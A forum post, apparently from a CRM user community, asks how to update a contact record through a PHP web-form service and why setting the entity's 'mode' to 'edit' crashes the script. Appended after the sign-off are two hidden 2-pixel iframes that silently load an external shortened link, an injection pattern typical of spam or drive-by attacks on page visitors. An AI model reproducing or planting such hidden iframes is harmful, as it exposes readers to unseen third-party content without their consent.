Update Contacts by Web service (Web form)

Hello everybody.

First please be patient, my langage is not English. <!-- s:oops: --><img src="{SMILIES_PATH}/icon_redface.gif" alt=":oops:" title="Embarassed" /><!-- s:oops: -->
My problem is the next: I would update different fields of a contact outside the CRM (Business Intelligence level).
I finded how to view data with a personnal function into soap/webforms.php and the web form plugin (Web service) and how to create a new contact but I search now how to update data...

I have read that before calling the "save" in CRMEntities I must write $MyEntite->mode = "edit"

But this variable "mode" does'nt exist nowhere <!-- s:? --><img src="{SMILIES_PATH}/icon_confused.gif" alt=":?" title="Confused" /><!-- s:? --> (not in Contact and CRMEntities).
Yet in CRMEntities I can read in the function "saveentity" (called by "save"):
global $current_user, $adb;//$adb added by raju for mass mailing
	$insertion_mode = $this-&gt;mode;

So where is this variable?

In my webform page, I have write:
$contact = new Contacts&#40;&#41;;
	$contact-&gt;retrieve_entity_info&#40;$id_contact,&quot;Contacts&quot;&#41;; // On obtient toutes les infos du client sur base de son ID
	$contact-&gt;column_fields&#91;email&#93; = &quot;TESTOUEncore@test&#46;com&quot;;
	$contact-&gt;mode = &quot;edit&quot;;
	$contact-&gt;save&#40;&quot;Contacts&quot;&#41;;

And the script crash at the line "$contact->mode = "edit";"

Thank you for all your answers! <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

Sign In or Register to comment.